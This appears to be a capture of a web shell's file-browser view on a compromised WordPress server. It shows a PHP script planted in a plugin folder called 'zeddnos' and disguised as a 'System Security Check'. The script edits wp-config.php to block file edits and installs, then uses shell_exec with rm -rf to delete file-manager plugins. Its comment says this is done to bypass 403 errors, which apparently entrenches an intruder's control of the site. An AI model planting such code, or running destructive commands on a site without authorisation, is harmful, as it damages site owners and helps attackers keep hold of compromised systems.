HEX
Server: Apache
System: Linux wordpress-7747d7f866-jpjs6 6.12.0-101.33.4.3.el9uek.aarch64 #1 SMP Mon Jul 14 18:15:52 PDT 2025 aarch64
User: (1001)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: /opt/bitnami/wordpress/wp-content/plugins/zeddnos/m/wp.php
<?php
echo "<h3>đŸ› ī¸ System Security Check</h3>";

$file = find_config();
if (!$file) exit("❌ wp-config.php tidak ditemukan!");

echo "📍 Target: <code>$file</code><br>";

harden_config($file);
clean_plugins(dirname($file));

function find_config() {
    $dir = __DIR__;
    while ($dir !== dirname($dir)) {
        if (file_exists("$dir/wp-config.php")) return "$dir/wp-config.php";
        $dir = dirname($dir);
    }
    return false;
}

function harden_config($path) {
    $data = @file_get_contents($path);
    if (!$data) { echo "❌ Gagal baca file!<br>"; return; }

    $rules = ["DISALLOW_FILE_EDIT", "DISALLOW_FILE_MODS"];
    $count = 0;

    foreach ($rules as $r) {
        if (strpos($data, $r) === false) {
            $data .= "\ndefine('$r', true);";
            $count++;
        }
    }

    if ($count > 0) {
        $res = @file_put_contents($path, $data);
        echo $res ? "✅ Hardening: <b>DONE</b> ($count added)<br>" : "❌ Hardening: <b>FAILED</b> (Permission?)<br>";
    } else {
        echo "â„šī¸ Status: Already Hardened<br>";
    }
}

function clean_plugins($root) {
    $p_dir = "$root/wp-content/plugins";
    $list = ['wp-file-manager', 'wpspy', 'file-manager-advanced'];

    foreach ($list as $p) {
        $target = "$p_dir/$p";
        if (is_dir($target)) {
            // Gunakan system delete agar lebih cepat & bypass 403
            @shell_exec("rm -rf " . escapeshellarg($target));
            echo (is_dir($target)) ? "❌ Gagal hapus: $p<br>" : "đŸ—‘ī¸ Plugin: <b>$p DONE</b><br>";
        }
    }
}
?>